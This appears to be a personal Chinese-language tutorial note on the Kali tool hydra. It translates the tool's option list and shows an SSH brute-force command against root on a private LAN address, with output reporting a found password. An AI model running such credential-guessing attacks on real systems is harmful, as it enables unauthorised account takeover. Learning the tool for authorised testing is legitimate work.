Kali工具使用

hydra

Syntax: 
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] |
 [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]]
 [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET]
 [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
 
  -R        restore a previous aborted/crashed session
# 恢复之前的中止/崩溃的任务
  -I        ignore an existing restore file (do not wait 10 seconds)
# 忽略现有的还原文件(不要等待十秒)
  -S        perform an SSL connect
# 执行SSL连接
  -s PORT   if the service is on a different default port, define it here
# -s 端口  如果这个服务与默认端口不同, 在这定义
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
# -l 登陆 -L 文件 登陆用户名, 或者在文件中加载一些用户名 
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
# -p 密码 -P 文件 尝试密码通过, 或从文件中加载一些密码尝试
  -x MIN:MAX:CHARSET  password brute force generation, type "-x -h" to get help
#  最小:最大:字符集  生成暴力密码, 可以输入"-x -h"获得帮助
  -y        disable use of symbols in brute force, see above
# 禁止在暴力密码中使用符号, 参见上文"-x"
  -r        use a non-random shuffling method for option -x
# 在-x 选项中使用不随机洗牌方法
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
# 尝试"n"空密码, "s" 作为通行证登陆 并且/或 "r" 反向登陆 --没理解
  -u        loop around users, not passwords (effective! implied with -x)
# 循环使用用户, 不是用密码(有效的! -x中有说明?)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
# -C 文件 冒号分离"用户名:密码"格式, 代替-L/-P选项
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
# -M 文件  去攻击的服务器列表, 按行执行, ':'去指定特殊端口
  -o FILE   write found login/password pairs to FILE instead of stdout
# -o 文件 将找到的登录/密码对写入文件，而不是标准输出
  -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
# -b FORMAT  format(版式) 指定-o文件格式: 文本(默认), json,  jsonv1
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
# 当登陆/密码对已经找到就退出(-M: -f 每一个主机, -F 全部)
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
# 任务运行任务每个目标并行连接的数量
  -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
# 任务运行任务连接总体并行(使用-M, 默认:64)
  -w / -W TIME  wait time for a response (32) / between connects per thread (0)
# 等待回应时间(32)/ 在每个进程连接之间
  -c TIME   wait time per login attempt over all threads (enforces -t 1)
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode 
  -O        use old SSL v2 and v3
  -K        do not redo failed attempts (good for -M mass scanning)
  -q        do not print messages about connection errors
  -U        service module usage details
  -m OPT    options specific for a module, see -U output for information
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

示例:
hydra -[l root / L /用户名路径] -P /字典路径 -t [1-64线程] [协议]://192.168.1.1

举例:
hydra -l root -P /home/zyx/password.txt -t 64 ssh://192.168.1.114
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-11 09:06:45
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 147253 login tries (l:1/p:147253), ~2301 tries per task
[DATA] attacking ssh://192.168.1.114:22/
[22][ssh] host: 192.168.1.114   login: root   password: passwd
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 52 final worker threads did not complete until end.
[ERROR] 52 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-11 09:06:59